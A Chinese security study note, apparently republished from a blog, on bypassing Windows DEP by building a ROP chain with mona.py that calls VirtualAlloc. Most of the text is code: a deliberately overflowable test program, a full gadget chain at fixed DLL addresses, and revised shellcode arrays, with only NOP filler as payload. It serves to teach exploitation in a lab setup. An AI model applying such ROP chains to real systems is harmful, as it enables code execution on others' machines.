本文讲的是
Windows Shellcode学习笔记——利用VirtualAlloc绕过DEP,
0x00 前言
LPVOID WINAPI VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
测试系统: Win 7 编译器: VS2012 build版本: Release
关闭GS 关闭优化 关闭SEH 打开DEP 关闭ASLR 禁用c++异常 禁用内部函数
unsigned int shellcode[]= { 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090, 0x41414141, 0x41414141 }; void test() { char buffer[48]; printf("3n"); memcpy(buffer,shellcode,sizeof(shellcode)); } int main() { printf("1n"); test(); return 0; }
!mona rop -m *.dll -cp nonull
Register setup for VirtualAlloc() : -------------------------------------------- EAX = NOP (0x90909090) ECX = flProtect (0x40) EDX = flAllocationType (0x1000) EBX = dwSize ESP = lpAddress (automatic) EBP = ReturnTo (ptr to jmp esp) ESI = ptr to VirtualAlloc() EDI = ROP NOP (RETN) --- alternative chain --- EAX = ptr to &VirtualAlloc() ECX = flProtect (0x40) EDX = flAllocationType (0x1000) EBX = dwSize ESP = lpAddress (automatic) EBP = POP (skip 4 bytes) ESI = ptr to JMP [EAX] EDI = ROP NOP (RETN) + place ptr to "jmp esp" on stack, below PUSHAD -------------------------------------------- ROP Chain for VirtualAlloc() [(XP/2003 Server and up)] : -------------------------------------------------------- *** [ C ] *** #define CREATE_ROP_CHAIN(name, ...) int name##_length = create_rop_chain(NULL, ##__VA_ARGS__); unsigned int name[name##_length / sizeof(unsigned int)]; create_rop_chain(name, ##__VA_ARGS__); int create_rop_chain(unsigned int *buf, unsigned int ) { // rop chain generated with mona.py - www.corelan.be unsigned int rop_gadgets[] = { 0x693a2e92, // POP ECX // RETN [MSVCR110.dll] 0x693bd19c, // ptr to &VirtualAlloc() [IAT MSVCR110.dll] 0x69353486, // MOV EAX,DWORD PTR DS:[ECX] // RETN [MSVCR110.dll] 0x779f9dca, // XCHG EAX,ESI // RETN [ntdll.dll] 0x69370742, // POP EBP // RETN [MSVCR110.dll] 0x75dac58d, // & call esp [KERNELBASE.dll] 0x6932ea52, // POP EAX // RETN [MSVCR110.dll] 0xffffffff, // Value to negate, will become 0x00000001 0x69353746, // NEG EAX // RETN [MSVCR110.dll] 0x75da655d, // XCHG EAX,EBX // ADD BH,CH // DEC ECX // RETN 0x10 [KERNELBASE.dll] 0x77216829, // POP EAX // RETN [kernel32.dll] 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0xa2800fc0, // put delta into eax (-> put 0x00001000 into edx) 0x7721502a, // ADD EAX,5D800040 // RETN 0x04 [kernel32.dll] 0x771abd3a, // XCHG EAX,EDX // RETN [kernel32.dll] 0x41414141, // Filler (RETN offset compensation) 0x69329bb1, // POP EAX // RETN [MSVCR110.dll] 0xffffffc0, // Value to negate, will become 0x00000040 0x69354484, // NEG EAX // RETN [MSVCR110.dll] 0x771d0946, // XCHG EAX,ECX // RETN [kernel32.dll] 0x6935e68f, // POP EDI // RETN [MSVCR110.dll] 0x69354486, // RETN (ROP NOP) [MSVCR110.dll] 0x693a7031, // POP EAX // RETN [MSVCR110.dll] 0x90909090, // nop 0x69390267, // PUSHAD // RETN [MSVCR110.dll] }; if(buf != NULL) { memcpy(buf, rop_gadgets, sizeof(rop_gadgets)); }; return sizeof(rop_gadgets); } // use the 'rop_chain' variable after this call, it's just an unsigned int[] CREATE_ROP_CHAIN(rop_chain, ); // alternatively just allocate a large enough buffer and get the rop chain, i.e.: // unsigned int rop_chain[256]; // int rop_chain_length = create_rop_chain(rop_chain, );
PUSH 1; POP ECX;
unsigned int shellcode[]= { 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090, 0x693a2e92, // POP ECX // RETN [MSVCR110.dll] 0x693bd19c, // ptr to &VirtualAlloc() [IAT MSVCR110.dll] 0x69353486, // MOV EAX,DWORD PTR DS:[ECX] // RETN [MSVCR110.dll] 0x779f9dca, // XCHG EAX,ESI // RETN [ntdll.dll] 0x69370742, // POP EBP // RETN [MSVCR110.dll] 0x75dac58d, // & call esp [KERNELBASE.dll] 0x6932ea52, // POP EAX // RETN [MSVCR110.dll] 0xffffffff, // Value to negate, will become 0x00000001 0x69353746, // NEG EAX // RETN [MSVCR110.dll] 0x75da655d, // XCHG EAX,EBX // ADD BH,CH // DEC ECX // RETN 0x10 [KERNELBASE.dll] 0x77216829, // POP EAX // RETN [kernel32.dll] 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0xa2800fc0, // put delta into eax (-> put 0x00001000 into edx) 0x7721502a, // ADD EAX,5D800040 // RETN 0x04 [kernel32.dll] 0x771abd3a, // XCHG EAX,EDX // RETN [kernel32.dll] 0x41414141, // Filler (RETN offset compensation) 0x69329bb1, // POP EAX // RETN [MSVCR110.dll] 0xffffffc0, // Value to negate, will become 0x00000040 0x69354484, // NEG EAX // RETN [MSVCR110.dll] 0x771d0946, // XCHG EAX,ECX // RETN [kernel32.dll] 0x6935e68f, // POP EDI // RETN [MSVCR110.dll] 0x69354486, // RETN (ROP NOP) [MSVCR110.dll] 0x693a7031, // POP EAX // RETN [MSVCR110.dll] 0x90909090, // nop 0x69390267, // PUSHAD // RETN [MSVCR110.dll] 0x9059016A, //PUSH 1 // POP ECX 0x90909090, 0x90909090, 0x90909090, 0x90909090 }; void test() { char buffer[48]; printf("3n"); memcpy(buffer,shellcode,sizeof(shellcode)); } int main() { printf("1n"); test(); char Buf[] = "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"; return 0; }
申请内存区域的起始地址为0x0012FF38 申请内存区域的大小为0x0000D101,换算成十进制为53505 申请内存的类型为0x00001000 申请内存的访问控制类型为0x00000040,即PAGE_EXECUTE_READWRITE
0x771c80a2 : # XOR EAX,EAX # POP EBX # RETN ** [kernel32.dll] ** | {PAGE_EXECUTE_READ}
unsigned int shellcode[]= { 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090, 0x693a2e92, // POP ECX // RETN [MSVCR110.dll] 0x693bd19c, // ptr to &VirtualAlloc() [IAT MSVCR110.dll] 0x69353486, // MOV EAX,DWORD PTR DS:[ECX] // RETN [MSVCR110.dll] 0x779f9dca, // XCHG EAX,ESI // RETN [ntdll.dll] 0x69370742, // POP EBP // RETN [MSVCR110.dll] 0x75dac58d, // & call esp [KERNELBASE.dll] 0x6932ea52, // POP EAX // RETN [MSVCR110.dll] 0xffffffff, // Value to negate, will become 0x00000001 0x69353746, // NEG EAX // RETN [MSVCR110.dll] 0x75da655d, // XCHG EAX,EBX // ADD BH,CH // DEC ECX // RETN 0x10 [KERNELBASE.dll] 0x77216829, // POP EAX // RETN [kernel32.dll] 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0xa2800fc0, // put delta into eax (-> put 0x00001000 into edx) 0x7721502a, // ADD EAX,5D800040 // RETN 0x04 [kernel32.dll] 0x771abd3a, // XCHG EAX,EDX // RETN [kernel32.dll] 0x41414141, // Filler (RETN offset compensation) 0x69329bb1, // POP EAX // RETN [MSVCR110.dll] 0xffffffc0, // Value to negate, will become 0x00000040 0x69354484, // NEG EAX // RETN [MSVCR110.dll] 0x771d0946, // XCHG EAX,ECX // RETN [kernel32.dll] 0x6935e68f, // POP EDI // RETN [MSVCR110.dll] 0x69354486, // RETN (ROP NOP) [MSVCR110.dll] 0x771c80a2, // # XOR EAX,EAX # POP EBX # RETN [kernel32.dll] | {PAGE_EXECUTE_READ} 0x00000028, // Set EBX=0x00000028(40) 0x693a7031, // POP EAX // RETN [MSVCR110.dll] 0x90909090, // nop 0x69390267, // PUSHAD // RETN [MSVCR110.dll] 0x9059016A, //PUSH 1 // POP ECX 0x90909090, 0x90909090, 0x90909090, 0x90909090 };
原文发布时间为:2017年4月2日
本文作者:3gstudent
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。